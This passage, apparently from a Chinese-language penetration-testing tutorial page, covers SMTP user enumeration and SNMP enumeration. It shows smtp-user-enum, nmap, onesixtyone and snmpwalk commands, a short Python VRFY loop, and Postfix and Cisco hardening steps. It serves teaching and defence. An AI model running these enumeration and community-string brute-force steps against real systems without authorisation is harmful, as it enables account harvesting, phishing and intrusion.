&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SMTP枚举&lt;/strong&gt;：通过SMTP协议探测目标邮件服务器上的&lt;strong&gt;有效用户账号&lt;/strong&gt;的行为&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;核心命令&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VRFY&lt;/code&gt;：验证指定用户名是否存在（返回252/550状态码）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EXPN&lt;/code&gt;：展开邮件别名/组（泄露群组成员）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RCPT TO&lt;/code&gt;：在邮件对话中验证收件人有效性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;技术原理&lt;/strong&gt;：利用SMTP协议响应差异（状态码）判断用户是否存在：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;250 2.1.5 User exists // 用户存在
550 5.1.1 User unknown // 用户不存在
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="二核心用途场景"&gt;&lt;strong&gt;二、核心用途场景&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;应用目的&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;攻击关联&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;安全评估&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;渗透测试中收集有效邮箱账号，识别邮件系统配置缺陷&lt;/td&gt;
 &lt;td style="text-align: center"&gt;暴力破解/凭证填充的前置步骤&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;钓鱼攻击&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;获取真实用户列表，制作高可信度钓鱼邮件&lt;/td&gt;
 &lt;td style="text-align: center"&gt;鱼叉式钓鱼(Spear Phishing)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;垃圾邮件&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;验证目标邮箱有效性，提升垃圾邮件投递成功率&lt;/td&gt;
 &lt;td style="text-align: center"&gt;垃圾邮件僵尸网络&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;系统加固&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;管理员自检服务器配置，关闭敏感功能&lt;/td&gt;
 &lt;td style="text-align: center"&gt;防范账户枚举攻击&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="三工具与操作命令"&gt;&lt;strong&gt;三、工具与操作命令&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-smtp-user-enum工具"&gt;&lt;strong&gt;1. smtp-user-enum工具&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 基本语法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;smtp-user-enum -M &amp;lt;模式&amp;gt; -u &amp;lt;用户字典&amp;gt; -t &amp;lt;目标IP&amp;gt; &lt;span class="o"&gt;[&lt;/span&gt;选项&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 模式选择&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;-M VRFY &lt;span class="c1"&gt;# 使用VRFY命令（最常用）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;-M EXPN &lt;span class="c1"&gt;# 使用EXPN命令（需服务器支持）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;-M RCPT &lt;span class="c1"&gt;# 模拟邮件发送验证&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实战示例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;smtp-user-enum -M VRFY -u userlist.txt -t mail.example.com -p &lt;span class="m"&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;smtp-user-enum -M EXPN -D corporate.com -u employees.txt -t 10.10.1.50
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键参数&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt;：超时时间（秒）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D&lt;/code&gt;：域名后缀（自动追加@domain.com）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-T&lt;/code&gt;：线程数（加速扫描）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-nmap扫描"&gt;&lt;strong&gt;2. Nmap扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测SMTP支持命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -p25 --script smtp-commands 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自动化用户枚举&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nmap -p25 --script smtp-enum-users 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定字典路径（默认使用nselib/data/usernames.lst）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;nmap -p25 --script smtp-enum-users --script-args &lt;span class="nv"&gt;userdb&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;custom_users.txt 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="四安全风险与防护措施"&gt;&lt;strong&gt;四、安全风险与防护措施&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-攻击风险矩阵"&gt;&lt;strong&gt;1. 攻击风险矩阵&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;漏洞点&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;危害等级&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;利用场景&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;VRFY命令未禁用&lt;/td&gt;
 &lt;td style="text-align: center"&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
 &lt;td style="text-align: center"&gt;直接获取有效用户列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;EXPN命令未禁用&lt;/td&gt;
 &lt;td style="text-align: center"&gt;⭐⭐⭐⭐&lt;/td&gt;
 &lt;td style="text-align: center"&gt;泄露邮件组和内部结构&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;RCPT TO无限制&lt;/td&gt;
 &lt;td style="text-align: center"&gt;⭐⭐⭐&lt;/td&gt;
 &lt;td style="text-align: center"&gt;隐蔽验证用户存在性&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;响应差异泄露&lt;/td&gt;
 &lt;td style="text-align: center"&gt;⭐⭐&lt;/td&gt;
 &lt;td style="text-align: center"&gt;通过响应时间/错误信息枚举&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-防御加固方案"&gt;&lt;strong&gt;2. 防御加固方案&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;服务端配置&lt;/strong&gt;（以Postfix为例）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 禁用VRFY和EXPN命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;disable_vrfy_command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;smtpd_discard_ehlo_keywords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; expn, vrfy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 统一响应（所有请求返回相同信息）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;smtpd_reject_unlisted_recipient&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;unknown_local_recipient_reject_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;550&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问控制&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;防火墙限制25端口访问源IP&lt;/li&gt;
&lt;li&gt;启用STARTTLS强制加密通信&lt;/li&gt;
&lt;li&gt;部署Fail2ban自动封禁扫描IP&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;监控与审计&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实时监控SMTP日志（示例）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tail -f /var/log/mail.log &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;VRFY\|EXPN\|RCPT&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 配置告警规则（超过10次验证请求触发警报）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="五进阶攻击技术"&gt;&lt;strong&gt;五、进阶攻击技术&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多级枚举&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Python自动化脚本示例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;smtplib&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;test&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;webmaster&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;smtp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;smtplib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SMTP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mail.target.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vrfy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;[+] Valid user: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组合攻击路径&lt;/strong&gt;：&lt;/p&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[SMTP枚举] --&gt; B[获取有效账户]
B --&gt; C{账户用途}
C --&gt; D[密码喷射攻击]
C --&gt; E[钓鱼邮件制作]
C --&gt; F[员工信息关联]&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="snmp枚举"&gt;SNMP枚举
&lt;/h2&gt;&lt;p&gt;多年来，我们发现许多网络管理员对简单网络管理协议（SNMP）理解不足，这常导致配置错误，造成严重信息泄露。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SNMP基于无状态UDP协议，易受IP欺骗和重放攻击&lt;/li&gt;
&lt;li&gt;常见版本（1/2/2c）无流量加密，敏感信息可在局域网被截获&lt;/li&gt;
&lt;li&gt;默认使用弱认证方案（如公开的团体字符串&amp;quot;public&amp;quot;/&amp;ldquo;private&amp;rdquo;）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;真实攻击案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;某次对网络集成公司的渗透测试中：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;扫描发现包含数千台思科路由器的B类网络（客户网关）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一台低端ADSL路由器使用默认凭证&lt;code&gt;cisco/cisco&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;其配置文件泄露了复杂的SNMP读写团体字符串（所有设备共用）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;利用SNMP+TFTP脚本批量下载路由器配置：&lt;/p&gt;
&lt;p&gt;→ 同时攻破该公司及其所有客户的基础设施&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;SNMP MIB树结构&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;管理信息库（MIB）以树形数据库组织网络信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;分支：代表组织或网络功能&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;叶节点：存储具体变量值（可被外部访问）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;示例（Windows SNMP参数）：&lt;/p&gt;
&lt;p&gt;text&lt;/p&gt;
&lt;p&gt;复制&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1.3.6.1.4.1.77.1.2.25 // 用户账户 
1.3.6.1.2.1.25.4.2.1.2 // 运行进程 
1.3.6.1.2.1.6.13.1.3 // 开放TCP端口 
1.3.6.1.2.1.25.6.3.1.2 // 已安装软件
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;扫描与枚举工具&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NMAP扫描&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sU --open -p161 192.168.1.0/24 &lt;span class="c1"&gt;# 检测开放161/UDP端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;onesixtyone爆破团体字符串&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建IP列表(ips.txt)和团体字符串字典(communities.txt)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;onesixtyone -c communities.txt -i ips.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;snmpwalk枚举信息&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;snmpwalk -c public -v1 -t &lt;span class="m"&gt;10&lt;/span&gt; 10.11.1.14 &lt;span class="c1"&gt;# 遍历整个MIB树&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 &lt;span class="c1"&gt;# 枚举用户&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 &lt;span class="c1"&gt;# 枚举进程&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;snmp-check综合工具&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;snmp-check -c public -v &lt;span class="m"&gt;1&lt;/span&gt; 10.11.1.50
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;练习任务&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用onesixtyone扫描目标网络识别SNMP服务器&lt;/li&gt;
&lt;li&gt;使用snmpwalk和snmp-check收集目标信息&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="核心知识点总结"&gt;&lt;strong&gt;核心知识点总结&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-协议风险"&gt;1. &lt;strong&gt;协议风险&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;漏洞类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;技术原因&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;后果&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;无加密通信&lt;/td&gt;
 &lt;td style="text-align: center"&gt;SNMPv1/2/2c明文传输&lt;/td&gt;
 &lt;td style="text-align: center"&gt;敏感信息被嗅探&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;弱认证机制&lt;/td&gt;
 &lt;td style="text-align: center"&gt;默认团体字符串(public/private)&lt;/td&gt;
 &lt;td style="text-align: center"&gt;未授权访问&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;配置错误&lt;/td&gt;
 &lt;td style="text-align: center"&gt;管理员忽视安全配置&lt;/td&gt;
 &lt;td style="text-align: center"&gt;网络拓扑/凭证大规模泄露&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-攻击向量"&gt;2. &lt;strong&gt;攻击向量&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;信息侦察&lt;/strong&gt;：通过MIB树提取系统/用户/网络信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限升级&lt;/strong&gt;：写入配置（需私有团体字符串）→ 完全控制设备&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;横向渗透&lt;/strong&gt;：攻陷集中管理节点 → 控制所有关联设备&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-关键工具链"&gt;3. &lt;strong&gt;关键工具链&lt;/strong&gt;
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[扫描] --&gt; B(onesixtyone爆破团体字符串)
A --&gt; C(NMAP探测端口)
B --&gt; D[获取有效凭证]
D --&gt; E[snmpwalk枚举MIB数据]
D --&gt; F[snmp-check自动化收集]
E --&gt; G[提取用户/进程/端口信息]&lt;/pre&gt;&lt;h4 id="4-防御策略"&gt;4. &lt;strong&gt;防御策略&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;协议升级&lt;/strong&gt;：强制使用SNMPv3（支持AES加密+强认证）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问控制&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 仅允许可信IP访问（Cisco示例）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;snmp-server community ENCRYPTED-STRING RO &lt;span class="m"&gt;10&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;snmp-server permit 192.168.1.0 0.0.0.255
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
